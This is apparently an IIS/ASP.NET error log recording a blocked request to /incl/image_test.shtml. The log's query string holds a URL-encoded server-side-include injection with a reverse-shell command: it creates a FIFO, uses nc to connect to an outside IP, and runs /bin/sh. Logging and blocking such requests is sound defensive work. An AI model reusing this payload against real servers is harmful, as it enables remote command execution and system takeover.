A potentially dangerous Request.QueryString value was detected from the client (camnbr="<!--#exec cmd="mkfif...").

System.Web.HttpRequestValidationException: A potentially dangerous Request.QueryString value was detected from the client (camnbr="<!--#exec cmd="mkfif...").

System.Web.HttpRequestValidationException (0x80004005): A potentially dangerous Request.QueryString value was detected from the client (camnbr="<!--#exec cmd="mkfif...").
   at System.Web.HttpRequest.ValidateString(String value, String collectionKey, RequestValidationSource requestCollection)
   at System.Web.HttpRequest.ValidateHttpValueCollection(HttpValueCollection collection, RequestValidationSource requestCollection)
   at System.Web.HttpRequest.get_QueryString()
   at DevExpress.Web.BinaryStorageSubscriber.RequestRecipient(HttpRequest request, RequestEvent requestEvent)
   at DevExpress.Web.ASPxHttpHandlerModule.ProcessRequestCore(RequestEvent requestEvent)
   at DevExpress.Web.ASPxHttpHandlerModule.BeginRequestHandler(Object sender, EventArgs e)
   at System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()
   at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
		

Logged on Monday, September 25, 2023 at 8:56:03 AM

See also:

Server Variables

NameValue
ALL_HTTP
ALL_RAW
APPL_MD_PATH/LM/W3SVC/1/ROOT
APPL_PHYSICAL_PATHC:\inetpub\wwwroot\
AUTH_PASSWORD*****
AUTH_TYPE
AUTH_USER
CERT_COOKIE
CERT_FLAGS
CERT_ISSUER
CERT_KEYSIZE
CERT_SECRETKEYSIZE
CERT_SERIALNUMBER
CERT_SERVER_ISSUER
CERT_SERVER_SUBJECT
CERT_SUBJECT
CONTENT_LENGTH0
CONTENT_TYPE
GATEWAY_INTERFACECGI/1.1
HTTPSoff
HTTPS_KEYSIZE
HTTPS_SECRETKEYSIZE
HTTPS_SERVER_ISSUER
HTTPS_SERVER_SUBJECT
INSTANCE_ID1
INSTANCE_META_PATH/LM/W3SVC/1
LOCAL_ADDR10.3.1.4
LOGON_USER
PATH_INFO/incl/image_test.shtml
PATH_TRANSLATEDC:\inetpub\wwwroot\incl\image_test.shtml
QUERY_STRINGcamnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2031.220.1.83%208%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e
REMOTE_ADDR31.220.1.83
REMOTE_HOST31.220.1.83
REMOTE_PORT47280
REMOTE_USER
REQUEST_METHODGET
SCRIPT_NAME/incl/image_test.shtml
SERVER_NAME10.3.1.4
SERVER_PORT80
SERVER_PORT_SECURE0
SERVER_PROTOCOLHTTP/1.0
SERVER_SOFTWAREMicrosoft-IIS/10.0
URL/incl/image_test.shtml